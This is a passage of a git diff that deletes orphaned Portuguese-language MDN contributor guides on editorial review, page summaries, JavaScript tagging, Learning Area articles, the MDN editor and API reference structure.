-<p class="summary">As<strong> </strong><strong>revisões editoriais</strong> consistem em corrigir erros de digitação, ortografia, gramática, utilização ou erros textuais num artigo. Não é preciso ser um especialistas em linguagem para efetuar contribuições úteis para a documentação técnica da MDN, mas os artigos continuam a precisar de edição de cópia e revisão de provas. Isto é efetuado numa revisão editorial.</p>
-
-<p><span class="seoSummary">Este artigo descreve como efetuar uma revisão editorial, que ajuda a assegurar que o conteúdo na MDN é preciso e bem escrito.</span></p>
-
-<dl>
- <dt>O que é a tarefa?</dt>
- <dd>Copy-editing and proof-reading of articles that are marked as requiring an editorial review.</dd>
- <dt>Onde é que esta tem de ser efetuada?</dt>
- <dd>Within specific articles that are marked as requiring an editorial review.</dd>
- <dt>O que precisa de saber para efetuar a tarefa?</dt>
- <dd>You need to have good English grammar and spelling skills. An editorial review is about ensuring that the grammar, spelling, and wording are correct and make sense, and that the <a href="/en-US/docs/MDN/Contribute/Guidelines/Writing_style_guide">MDN writing style guide</a> is followed.</dd>
- <dt>Quais os passos a seguir?</dt>
- <dd>
- <ol>
- <li>Escolha um artigo para rever:
- <ol>
- <li>Go to the list of <a href="/en-US/docs/needs-review/editorial">articles needing editorial review</a>. This lists all the pages for which an editorial review has been requested.</li>
- <li>Click on the article link to load the page.<br>
- <strong>Nota: </strong>This listing is generated automatically but infrequently, so some articles appear on the list that no longer need editorial review. If the article you picked does <em>not</em> display a banner that says "This article needs an editorial review", skip that article and pick a different one.</li>
- </ol>
- </li>
- <li><a id="core-steps" name="core-steps"></a>Read the article, paying close attention for typos, spelling, grammar, or usage errors. Don't hesitate to switch to a different page if the first one you choose doesn't suit you.</li>
- <li>If there are no errors, you don't need to edit the article to mark it as reviewed. Look for the "quick review" box in the left sidebar of the page:<br>
- <img alt="Screenshot of the editorial review request sidebar box" src="https://mdn.mozillademos.org/files/13018/SidebarReviewBoxEditorial.png"></li>
- <li>Deselect the <strong>Editorial</strong> box and click <strong>Save</strong>.</li>
- <li>If you find errors that need to be corrected:
- <ol>
- <li>Click the <strong>Edit</strong> button near the top of the page; this brings you into the <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide">MDN editor</a>.</li>
- <li>Correct any typos and spelling, grammar, or usage errors you find. You don't have to fix everything to be useful, but be sure to leave the editorial review request in place if you don't feel reasonably sure that you've done a complete review of the entire article.</li>
- <li>Enter a <strong>Revision Comment</strong> at the bottom of the article; something like '<em>Editorial review: fixed typos, grammar &amp; spelling.</em>' This lets other contributors and site editors know what you changed and why.</li>
- <li>Deselect the <strong>Editorial</strong> box under <strong>Review Needed?</strong>. This is located just below the Revision Comment section of the page.</li>
- <li>Click the <strong>Publish</strong> button.</li>
- </ol>
- </li>
- </ol>
-
- <div class="note">
- <p>Depois de guardar, as suas alterações poderão não ser visíveis de imediato; existe um pequeno atraso enquanto a página é processada e guardada.</p>
- </div>
- </dd>
-</dl>
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html
deleted file mode 100644
index 3ab82cecd9..0000000000
--- a/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Como definir o resumo para uma página
-slug: orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page
-tags:
- - Como
- - Guia(2)
- - Metadados MDN
-translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page
-original_slug: MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina
----
-<div>{{MDNSidebar}}</div><p><span class="seoSummary">Pode definir-se o resumo de uma página no MDN para ser usada de várias maneiras, incluindo em resultados de motores de busca, noutras páginas MDN tais como páginas de destino de tópicos, e dicas ou sugestões de ajuda. Deverá ser um texto que faça sentido quer no contexto da página, quer quando aparece noutros contextos, sem que esteja disponível a totalidade do conteúdo.</span></p>
-
-<p>Um resumo pode definido explicitamente em apenas uma página. Se não estiver explicitamente definido, então normalmente usam-se as primeiras linhas, o que nem sempre é o melhor para o objectivo pretendido.</p>
-
-<dl>
- <dt><strong>O que é uma tarefa?</strong></dt>
- <dd>Identificar o texto de uma página que melhor poderia ser usado para ser o seu resumo, mesmo que apareça noutros contextos; esta tarefa poderá incluir editar o texto existente e/ou introduzir texto apropriado se necessário.</dd>
- <dt><strong>Onde é que esta precisa de ser feita?</strong></dt>
- <dd>Em páginas que não têm resumos ou têm um resumo menos bom.</dd>
- <dt><strong>O que precisa de saber para efectuar a tarefa?</strong></dt>
- <dd>Habilitação para usar o editor MDN; competência em português escrito; familiaridade suficiente com o tópico para escrever um bom resumo.</dd>
- <dt><strong>Quais os passos a seguir?</strong></dt>
- <dd>
- <ol>
- <li>Escolher uma página para colocar um resumo:
- <ol>
- <li>Na página <a href="https://developer.mozilla.org/pt-PT/docs/MDN/Doc_status">Estado do documento por tópico</a>, clique num tópico de que tenha algum conhecimento (por exemplo, HTML) da coluna Secções: <br>
- <img alt="" src="https://mdn.mozillademos.org/files/8681/sections.png" style="height: 130px; width: 504px;"></li>
- <li>Na página de Estado do documento do tópico escolhido, clicar no cabeçalho <strong><em>Pages</em></strong> da tabela <strong><em>Summary. </em></strong> Irá para um índice de todas as páginas da secção correspondente ao tópico escolhido; mostra os links das páginas na coluna esquerda, e as palavras-chave e resumos na coluna da direita:<br>
- <img alt="" src="https://mdn.mozillademos.org/files/8675/pages.png" style="height: 82px; width: 361px;"></li>
- <li>Escolher uma página que não tenha ou tenha um fraco resumo:<br>
- <img alt="" src="https://mdn.mozillademos.org/files/8677/summary.png" style="height: 38px; width: 296px;"></li>
- <li>Clicar no link para ir para essa página.</li>
- </ol>
- </li>
- <li>Clicar em  <strong>Edit</strong> para abrir a página no editor MDN.</li>
- <li>Tentar encontrar uma frase ou duas que possam servir de resumo, mesmo fora de contexto. Se necessário, editar o conteúdo existente para criar ou modificar frases de modo a que estas se tornem um bom resumo.</li>
- <li>Seleccionar o texto que irá ser usado como resumo.</li>
- <li>Na ferramenta Estilos, da barra de ferramentas do editor, seleccionar <strong>SEO Summary</strong>. (Na página de código fonte, isto cria um elemento {{HTMLElement("span")}}  com  <code>class="seoSummary"</code> em volta do texto seleccionado.)<br>
- <img alt="" src="https://mdn.mozillademos.org/files/8679/styles.png" style="height: 231px; width: 403px;"></li>
- <li>Guardar as alterações com um comentário de revisão. O comentário é opcional, mas é encorajado pois torna mais fácil para os outros utilizadores o rastreio de alterações.</li>
- </ol>
-
- <p> </p>
- </dd>
-</dl>
-
-<p> </p>
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html
deleted file mode 100644
index 5e6ea6635a..0000000000
--- a/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html
+++ /dev/null
@@ -1,76 +0,0 @@
----
-title: Como marcar páginas de JavaScript
-slug: orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages
-tags:
- - Como
- - Guia(2)
- - JavaScript
- - Metadados MDN
-translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages
-original_slug: MDN/Contribute/Howto/Marcar_paginas_JavaScript
----
-<div>{{MDNSidebar}}</div><p class="summary">A <strong><u>marcação</u> </strong>consiste na adição de informação-metadados às páginas, e assim o conteúdo relacionado pode ser agrupado, por exemplo, na ferramenta de pesquisa.</p>
-
-<dl>
- <dt>Onde é que isso precisa ser feito<strong>?</strong></dt>
- <dd>Nas <a href="/pt-PT/docs/MDN/Doc_status/JavaScript">páginas relacionadas com JavaScript especificas sem marcações (tags)</a></dd>
- <dt>O que precisa de saber para efetuar a tarefa<strong>?</strong></dt>
- <dd>Conhecimento de codificação JavaScript básico, tal como saber o que é um 'método' ou uma 'propriedade'.</dd>
- <dt>Quais são os passos a efetuar<strong>?</strong></dt>
- <dd>
- <ol>
- <li>Escolha uma das páginas na lista acima.</li>
- <li>Clique na hiperligação do artigo para carregar a página.</li>
- <li>Assim que a página esteja carregada, clique em "<strong>EDITAR"</strong> perto do seu topo; isto leva-o para o editor da MDN.</li>
- <li>Deverá ser adicionada pelo menos uma etiqueta de <code>JavaScript</code>. Aqui tem algumas das etiquetas possíveis para adicionar:</li>
- <li>
- <table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Etiqueta</th>
- <th scope="col">Que páginas para a utilizar</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>Method</code></td>
- <td>methods</td>
- </tr>
- <tr>
- <td><code>Property</code></td>
- <td>properties</td>
- </tr>
- <tr>
- <td><code>prototype</code></td>
- <td>prototypes</td>
- </tr>
- <tr>
- <td>Object type name</td>
- <td>methods of an object; for example String.fromCharCode should have the tag <code>String</code></td>
- </tr>
- <tr>
- <td><code>ECMAScript6 </code>and <code>Experimental</code></td>
- <td>features added in a new ECMAScript version</td>
- </tr>
- <tr>
- <td><code>Deprecated</code></td>
- <td>deprecated features (whose use is discouraged but still supported)</td>
- </tr>
- <tr>
- <td><code>Obsolete</code></td>
- <td>obsolete features (which are no longer supported in modern browsers)</td>
- </tr>
- <tr>
- <td>others</td>
- <td>See <a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards">MDN tagging standards</a> for other possible tags to apply</td>
- </tr>
- </tbody>
- </table>
- </li>
- <li>Guarde com um comentário.</li>
- <li>E concluiu!</li>
- </ol>
- </dd>
-</dl>
-
-<p> </p>
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html
deleted file mode 100644
index 0f40b5e691..0000000000
--- a/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: Como escrever um artigo para ajudar as pessoas a aprenderem sobre a Web
-slug: orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web
-tags:
- - Aprender
- - Como
- - Guia(2)
- - Metadados MDN
-translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web
-original_slug: >-
- MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web
----
-<div>{{MDNSidebar}}</div>
-
-<p>A <strong><a href="/pt-PT/docs/Learn">Área de Aprendizagem</a></strong> da MDN é o nosso local para os artigos que introduzem os conceitos da Web para os novos programadores. Porque o seu conteúdo, principalmente, tem como alvo os principiantes, é um local excelente para partilhar os seus conhecimentos e ajudar estes a conhecer a Web. É importante certificar-se que os novos programadores podem seguir este conteúdo, por isso nós damos especial atenção a este.</p>
-
-<p><span class="seoSummary">Este artigo explica sobre como escrever as páginas para a <a href="/pt-PT/docs/Learn">Área de Aprendizagem</a>.</span></p>
-
-<h2 id="Como_escrever_um_artigo_da_Área_de_Aprendizagem">Como escrever um artigo da <u><strong>Área de Aprendizagem</strong></u></h2>
-
-<p>To start contributing your knowledge, simply click the big green button, then follow the five steps below. If you're looking for ideas, please take a look at the <a href="https://trello.com/b/LDggrYSV">our team Trello board</a>!</p>
-
-<p></p><div class="align-center"><a class="button ignore-external mega positive" href="/pt-PT/docs/new?parent=111819">Escrever um novo artigo de aprendizagem<div></div></a></div><p></p>
-
-<p>This article might not end up in exactly the right place, but at least it's on MDN. If you need to talk to someone about getting it moved to the right place, please  <a href="/en-US/docs/Learn#Contact_us">Contact us</a>.</p>
-
-<h3 id="Passo_1_Write_a_two-liner">Passo 1: Write a two-liner</h3>
-
-<p>Your article's first sentence needs to summarize what subject you're going to cover, and the second one should go into a few more specifics of the items that you'd put in the article. For example:</p>
-
-<div class="summary">
-<p>Whereas {{glossary("HTML")}} files contain structured content, {{Glossary("CSS")}}, another major Web technology, makes the content look the way you want. In this article we are going to cover how this technology works, and how to write your own basic example.</p>
-</div>
-
-<p>Note how the example briefly explains that CSS is a core Web technology used to style pages. That's enough for the reader to get a pretty good idea what the article covers.</p>
-
-<p>Because Learning Area articles primarily target beginners, each article should cover one straightforward topic so as not to overwhelm the reader with too much new information. If you can't summarize the article in one sentence, you might be trying to do too much in one article!</p>
-
-<h3 id="Passo_2_Add_a_top_box">Passo 2: Add a top box</h3>
-
-<p>Then add a<strong> top box</strong> to help readers get their bearings as to where they are in the learning process.  Here's an example of a top box from <a href="/en-US/docs/Learn/Understanding_URLs">"Understanding URLs and their structure"</a>. You can use this article as an model when writing your own.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>You need to first know <a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/How_the_Internet_works">how the Internet works</a>, <a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/What_is_a_Web_server">what a Web server is</a>, and <a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/Understanding_links_on_the_web">the concepts behind links on the web</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>You will learn what a URL is and how it works on the Web.</td>
- </tr>
- </tbody>
-</table>
-
-<dl>
- <dt>Pré-requisitos</dt>
- <dd>What must the reader already know to follow the article? When possible, make each prerequisite a link to another Learning Area article covering the concept (unless it's a really basic article that doesn't require prior knowledge).</dd>
- <dt>Objetivos</dt>
- <dd>This section briefly states what the reader will learn over the course of the article. This is a bit different than the one-liner; the one-liner summarizes the topic of the article, while the objectives section specifically lays out what the reader can expect to accomplish over the course of the article.</dd>
-</dl>
-
-<div class="note">
-<p><strong>Nota:</strong> To create this table, you can either copy and paste the example table above, or use MDN's editor's <a href="/en-US/docs/MDN/Contribute/Editor/Tables">table tool</a>. If you choose to use the table tool, you need to specifically add the <code>learn-box</code> CSS class in addition to the default <code>standard-table</code> class. To do this, when you create or edit the table's properties,, go to the "Advanced" panel and set the <strong>Stylesheet Classes</strong> field to "<code>standard-table learn-box</code>".</p>
-</div>
-
-<h3 id="Passo_3_Write_a_full_description">Passo 3: Write a full description</h3>
-
-<p>Next, write a longer description that provides a more thorough overview of the article highlighting the most important concepts. Don't forget to explain why the reader should take the time to learn this topic and read your article!</p>
-
-<h3 id="Passo_4_Dig_deeper">Passo 4: Dig deeper</h3>
-
-<p>When you're done with all that, you can finally dive deeply into the topic. You can structure this part of your article however you like (although feel free to consult our <a href="/en-US/docs/MDN/Contribute/Style_guide">style guide</a>). This is your chance to shine! Go into detail explaining the topic you're writing about. Provide links to the full reference documentation, explain how the technology works in detail, provide syntax and usage details, and so forth. It's up to you!</p>
-
-<p>As a guide, here are some writing tips for beginners:</p>
-
-<ul>
- <li>Focus on a single topic. If you feel like you need to cover other topics, it means either you're missing a prerequisite article, or you need to break up your article into more than one.</li>
- <li>Use simple English. Avoid technical terms when you can, or at least define them and <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary#How_to_use_the_.7B.7BGlossary.7D.7D_macro">link to their glossary entries</a> where applicable.</li>
- <li>Include straightforward examples to make the theoretical concepts easier to grasp. Many people learn best by example. Rather than writing academic papers, we want beginners to follow the text readily.</li>
- <li>Visual aids often can make things easier to digest and carry extra information, so feel free to use images, diagrams, videos, and tables. If you're using diagrams or charts that include text, we encourage you to use {{Glossary("SVG")}} so our translation teams can localize the text.</li>
-</ul>
-
-<p>Have a look at the first few sections of our <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a> article for some good descriptive sections.</p>
-
-<h3 id="Passo_5_Provide_active_learning_material">Passo 5: Provide "active learning" material</h3>
-
-<p>To illustrate the article and help the reader better understand what they're learning, be sure to provide exercises, tutorials, and tasks to accomplish. By having them actively and practically using and experimenting with the concepts your article explains, you can help "lock" the information into their brains.</p>
-
-<p>You can choose to include the examples directly in the page as <a href="/en-US/docs/MDN/Contribute/Structures/Live_samples">live samples</a>, or <a href="/en-US/docs/MDN/Contribute/Editor/Links">link to them</a> if they don't really work as a live sample. If you're interested in helping create these valuable materials, please read the article <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Create an interactive exercise to help learning the Web</a>.</p>
-
-<p>If you can't provide links to existing active learning materials (you don't know of any or don't have time to create them), you should add the tag {{Tag("NeedsActiveLearning")}} to the article. That way other contributors can find articles that need active learning materials and perhaps help you come up with them.</p>
-
-<p>Have a look at <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Simple_selectors#Active_learning_Selecting_different_elements">Active learning: selecting different elements</a> for a live interactive learning exercise, or <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Active_learning_Playing_with_scope">Active learning: Playing with scope</a> for a different style of exercise that calls upon them to download a template locally and modify it following the provided steps.</p>
-
-<h3 id="Passo_6_Get_the_article_reviewed_and_put_into_the_Learning_Area_navigation_menu">Passo 6: Get the article reviewed, and put into the Learning Area navigation menu</h3>
-
-<p>After you've written your article, let us know so we can have a look at it, do a review, and suggest improvements. Again, see our <a href="/en-US/docs/Learn#Contact_us">Contact us</a> section for the best ways to get in touch.</p>
-
-<p>Another part finalizing your article is to put it in the Learning Area main navigation menu. This menu is generated by the <a href="/en-US/docs/Template:LearnSidebar">LearnSidebar macro</a>, which you need special privileges to edit, so again, talk ot one of our team about getting it added.</p>
-
-<p>You should at least add it to your page — this is done by adding the macro call \{{LearnSidebar}} into a paragraph at the top of your page.</p>
-
-<ul>
-</ul>
-
-<h2 id="Artigos_sugeridos">Artigos sugeridos</h2>
-
-<p>So you want to contribute but you're not sure what to write about?</p>
-
-<p>The Learning Area team maintains <a href="https://trello.com/b/LDggrYSV">a Trello board with ideas of articles</a> to write. Feel free to pick one and get to work!</p>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/pt-pt/orphaned/mdn/editor/basics/index.html b/files/pt-pt/orphaned/mdn/editor/basics/index.html
deleted file mode 100644
index 8399efecf4..0000000000
--- a/files/pt-pt/orphaned/mdn/editor/basics/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: Elementos da IU do Editor
-slug: orphaned/MDN/Editor/Basics
-tags:
- - Documentação
- - Guía
- - MDN
- - Metadados da MDN
- - Principiante
- - editor
-translation_of: MDN/Editor/Basics
-original_slug: MDN/Editor/Basicos
----
-<div>{{MDNSidebar}}</div>
-
-<p><span class="seoSummary">O editor WYSIWYG na MDN</span> foi projetado para facilitar ao máximo a criação, edição e melhoramento de artigos e outras páginas em praticamente qualquer lugar do site. A janela do editor, mostrada abaixo, consiste em oito áreas principais. Este guia fornece informação sobre cada secção para que saiba como utilizar todo o nosso ambiente de edição.</p>
-
-<div class="note">
-<p>We're constantly working on improvements to MDN, so there will be times when this documentation or the screen shots below may be slightly out-of-date. We'll periodically update this documentation, though, to avoid it being unusably behind.</p>
-</div>
-
-<p><img alt="Screenshot of the editor UI (August 2017) with each section labeled" src="https://mdn.mozillademos.org/files/15261/edit-page-with-labels.png" style="border-style: solid; border-width: 2px; height: 723px; width: 808px;"></p>
-
-<p>The editor UI contains the following sections, as shown above. Click a link below to read about that section of the editor.</p>
-
-<ul>
- <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Page_info">Page info</a></li>
- <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Page_controls">Page controls</a></li>
- <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Toolbar">Toolbar</a></li>
- <li><a href="/en-US/docs/MDN/Contribute/Editor/Edit_box">Edit box</a></li>
- <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Tags">Tags</a></li>
- <li><a href="#Revision_comment">Revision comment</a></li>
- <li><a href="#Review_requests">Review requests</a></li>
- <li><a href="/en-US/docs/MDN/Contribute/Editor/Basics/Attachments">Attachments</a></li>
-</ul>
-
-<h2 id="Caixa_de_edição">Caixa de edição</h2>
-
-<p>The edit box is, of course, where you actually do your writing.</p>
-
-<p>Right-clicking in the editor box offers appropriate additional options depending on the context of your click: right-clicking in a table offers table-related options and right-clicking in a list offers list-related options, for example. By default, the editor uses its own contextual menu when you right-click on the editor. To access your browser's default contextual menu (such as to access the Firefox spell checker's list of suggested corrections), hold down the <kbd>Shift</kbd> or <kbd>Control</kbd> key (the <kbd>Command</kbd> key on Mac OS X) while clicking.</p>
-
-<p>When working in the edit box, you can use its <a href="/en-US/docs/MDN/Contribute/Editor/Edit_box">keyboard shortcuts</a>.</p>
-
-<h2 id="Comentário_da_revisão">Comentário da revisão</h2>
-
-<p>After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the <a href="/en-US/dashboards/revisions" title="/en-US/dashboards/revisions">Revision Dashboard</a>. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the <strong>Publish</strong> buttons at the top or bottom of the page.</p>
-
-<p>There are a few reasons this is helpful:</p>
-
-<ul>
- <li>If the reason for your change isn't obvious, your note can explain the reasoning to others.</li>
- <li>If your change is technically complex, it can explain to editors the logic behind it; this can include a bug number, for example, that editors can refer to for more information.</li>
- <li>If your edit involves deleting a large amount of content, you can justify the deletion (for example, "I moved this content to article X").</li>
-</ul>
-
-<h2 id="Pedidos_de_revisão">Pedidos de revisão</h2>
-
-<p>The MDN community uses <strong>reviews</strong> to try to monitor and improve the quality of MDN's content. This works by setting a flag on an article indicating that a review is needed. You can learn more about <a href="/en-US/docs/MDN/Contribute/Howto/Do_a_technical_review" title="/en-US/docs/Project:MDN/Contributing/How_to_help#Content_reviews">technical reviews</a> and <a href="/en-US/docs/MDN/Contribute/Howto/Do_an_editorial_review">editorial review</a> in the <a href="/en-US/docs/MDN/Contribute/Howto" title="/en-US/docs/Project:MDN/Contributing/How_to_help">How to</a> guides.</p>
-
-<p>To request a review on the article you've worked on, toggle on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.</p>
-
-<p>While selecting a review checkbox adds the article to the lists of those <a href="/en-US/docs/needs-review/technical">needing technical review</a> or <a href="/en-US/docs/needs-review/editorial">needing editorial review</a>, it does not guarantee that anyone will immediately review the article. For technical reviews, it's a good idea to directly contact a <a href="/en-US/docs/MDN/Community/Roles/Subject-matter_experts">subject-matter expert</a> in the relevant technical area. For editorial reviews, you can post in the <a href="/https://discourse.mozilla.org/c/mdn">MDN discussion forum</a> to request that someone review your changes.</p>
-
-<p>Be sure to click one of the <strong>Publish</strong> buttons after making your selections, to commit your review request.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="https://docs.ckeditor.com/">CKEditor - Guia do Utilizador</a></li>
-</ul>
-
-<h6 id="EditorGuideQuicklinks">{{EditorGuideQuicklinks}}<span id="cke_bm_73C" class="hidden"> </span></h6>
diff --git a/files/pt-pt/orphaned/mdn/editor/index.html b/files/pt-pt/orphaned/mdn/editor/index.html
deleted file mode 100644
index 3c9cd7c245..0000000000
--- a/files/pt-pt/orphaned/mdn/editor/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Guia para o editor da IU da MDN
-slug: orphaned/MDN/Editor
-tags:
- - Documentação
- - Guía
- - Landing
- - MDN
- - Metadados MDN
-translation_of: MDN/Editor
-original_slug: MDN/Editor
----
-<div>{{MDNSidebar}}</div>
-
-<p class="summary"><span class="seoSummary">O editor WYSIWYG (o que vê é o que obtém) para a wiki dos <strong>Documentos da Web da MDN</strong> torna fácil a contribuição para novo conteúdo. Este guia mostra-lhe como utilizar o editor e melhorar a sua produtividade. Por favor, leia e concorde com os <a href="https://www.mozilla.org/en-US/about/legal/terms/mozilla/">Termos da Mozilla</a> antes de editar ou criar novas páginas. </span></p>
-
-<p>O <a href="/pt-PT/docs/MDN/Contribute/linhas_diretrizes/Guia_de_estilo_de_escrita" title="Read the MDN style guide">guia de estilo de escrita da MDN</a> oferece informação sobre como formatar e estilizar o próprio conteúdo, incluindo as nossas regras de gramática e ortografia preferidas.</p>
-
-<p>{{LandingPageListSubpages}}</p>
-
-<p>{{EditorGuideQuicklinks}}</p>
diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/index.html
deleted file mode 100644
index e599eea2eb..0000000000
--- a/files/pt-pt/orphaned/mdn/structures/api_references/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: API references
-slug: orphaned/MDN/Structures/API_references
-tags:
- - API
- - Contribute
- - Guide
- - NeedsTranslation
- - Reference
- - TopicStub
-translation_of: MDN/Structures/API_references
-original_slug: MDN/Structures/API_references
----
-<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
-
-<p class="summary">Client-side JavaScript APIs form a large part of the technology available on the web, and MDN includes extensive reference material to explain what functionality is available in these APIs, and how to use it. In this set of guides we explain how to create API reference material on MDN.</p>
-
-<h2 id="Prerequisite_resources">Prerequisite resources</h2>
-
-<p>Before starting to document an API, you should have available:</p>
-
-<ol>
- <li>The latest spec: Whether it is a W3C Recommendation or an early  editor's draft, you should refer to the latest available draft of the  spec that covers (or specs that cover) that API. To find it, you can usually do a Web search. The latest  version will often be linked to from all versions of the spec, listed under "latest draft" or similar.</li>
- <li>The latest modern web browsers: These should be experimental/alpha builds such as <a href="https://nightly.mozilla.org/">Firefox Nightly</a>/<a href="https://www.google.com/intl/en/chrome/browser/canary.html">Chrome Canary</a> that are more likely to support the features you are documenting. This is especially pertinent if you are documenting a nascent/experimental API.</li>
- <li>Demos/blog posts/other info: Find as much info as you can. It is useful to start by spending time familiarizing yourself with how the API works — learn what the main interfaces/properties/methods are, what the primary use cases are, and how to write simple functionality with it.</li>
- <li>Useful engineering contacts: It is really useful to find yourself a friendly engineering contact to ask questions about the spec, someone who is involved in the standardization of the API, or its implementation in a browser. Good places to find them are:
- <ul>
- <li>Your internal company address book, if you work for a relevant company.</li>
- <li>A public mailing list that is involved in the discussion of that API,  such as Mozilla's <a href="https://lists.mozilla.org/listinfo/dev-platform">dev-platform</a> or <a href="https://lists.mozilla.org/listinfo/dev-webapi">dev-webapi</a> lists, or a W3C list like <a href="https://lists.w3.org/Archives/Public/public-webapps/">public-webapps</a>.</li>
- <li>The spec itself. For example, the <a href="https://webaudio.github.io/web-audio-api/">Web Audio API spec</a> lists the authors and their contact details at the top.</li>
- </ul>
- </li>
-</ol>
-
-<h2 id="High_level_structure">High level structure</h2>
-
-<dl>
- <dt><a href="/en-US/docs/MDN/Contribute/Structures/API_references/What_does_an_API_reference_need">What does an API reference need?</a></dt>
- <dd>This article explains what pages are required for a complete API reference.</dd>
- <dt><a href="/en-US/docs/MDN/Contribute/Structures/Page_types">Page types</a></dt>
- <dd>There are a number of types of pages that are used repeatedly on MDN. This article describes these page types, their purpose, and gives examples of each and templates to use when creating a new page.</dd>
-</dl>
-
-<h2 id="Individual_page_features">Individual page features</h2>
-
-<p>These articles explain how to create the individual page features required for API reference pages.</p>
-
-<dl>
- <dt><a href="/en-US/docs/MDN/Contribute/Structures/API_references/API_reference_sidebars">API reference sidebars</a></dt>
- <dd>When including a sidebar on your MDN API reference articles, you are able to customize it so that it displays links to related Interfaces, tutorials, and other resources relevant just to that API. This article explains how.</dd>
- <dt><a href="/en-US/docs/MDN/Contribute/Structures/Syntax_sections">Syntax sections</a></dt>
- <dd>The syntax section of an MDN reference page contains a syntax box defining the exact syntax that a feature has (e.g. what parameters can it accept, which ones are optional?) This article explains how to write syntax boxes for refererence articles.</dd>
- <dt><a href="/en-US/docs/MDN/Contribute/Structures/Code_examples">Code examples</a></dt>
- <dd>On MDN, you'll see numerous code examples inserted throughout the pages to demonstrate usage of web platform features. This article discusses the different mechanisms available for adding code examples to pages, along with which ones you should use and when.</dd>
- <dt><a href="/en-US/docs/MDN/Contribute/Structures/Specification_tables">Specification tables</a></dt>
- <dd>Every reference page on MDN should provide information about the specification or specifications in which that API or technology was defined. This article demonstrates what these tables look like and explains how to construct them.</dd>
- <dt><a href="/en-US/docs/MDN/Contribute/Structures/Compatibility_tables">Compatibility tables</a></dt>
- <dd>MDN has a standard format for compatibility tables for our open web documentation; that is, documentation of technologies such as the DOM, HTML, CSS, JavaScript, SVG, and so forth, that are shared across all browsers. This article covers how to use our features to add compatibility data to MDN pages.</dd>
-</dl>
diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html
deleted file mode 100644
index 170c510aec..0000000000
--- a/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html
+++ /dev/null
@@ -1,163 +0,0 @@
----
-title: O que é que uma referência de API precisa?
-slug: orphaned/MDN/Structures/API_references/What_does_an_API_reference_need
-translation_of: MDN/Structures/API_references/What_does_an_API_reference_need
-original_slug: MDN/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa
----
-<div>{{MDNSidebar}}</div><p class="summary">Este artigo explica quais as páginas que são necessárias para uma referência completa da API .</p>
-
-<div class="note">
-<p><strong>Nota</strong>: It is a good idea to create the list of documents you need to write or update when you are working on an API reference, then check them off as you complete them.</p>
-</div>
-
-<h2 id="API_pages_at_a_glance">API pages at a glance</h2>
-
-<p>An API reference will generally contain the following pages. You can find more details of what each page contains, examples, and templates, in our <a href="/en-US/docs/MDN/Contribute/Structures/Page_types">Page types</a> article.</p>
-
-<ol>
- <li>Overview page</li>
- <li>Interface pages</li>
- <li>Constructor pages</li>
- <li>Method pages</li>
- <li>Property pages (including event handlers properties)</li>
- <li>Event pages</li>
- <li>Concept/guide pages</li>
- <li>Examples</li>
-</ol>
-
-<div class="note">
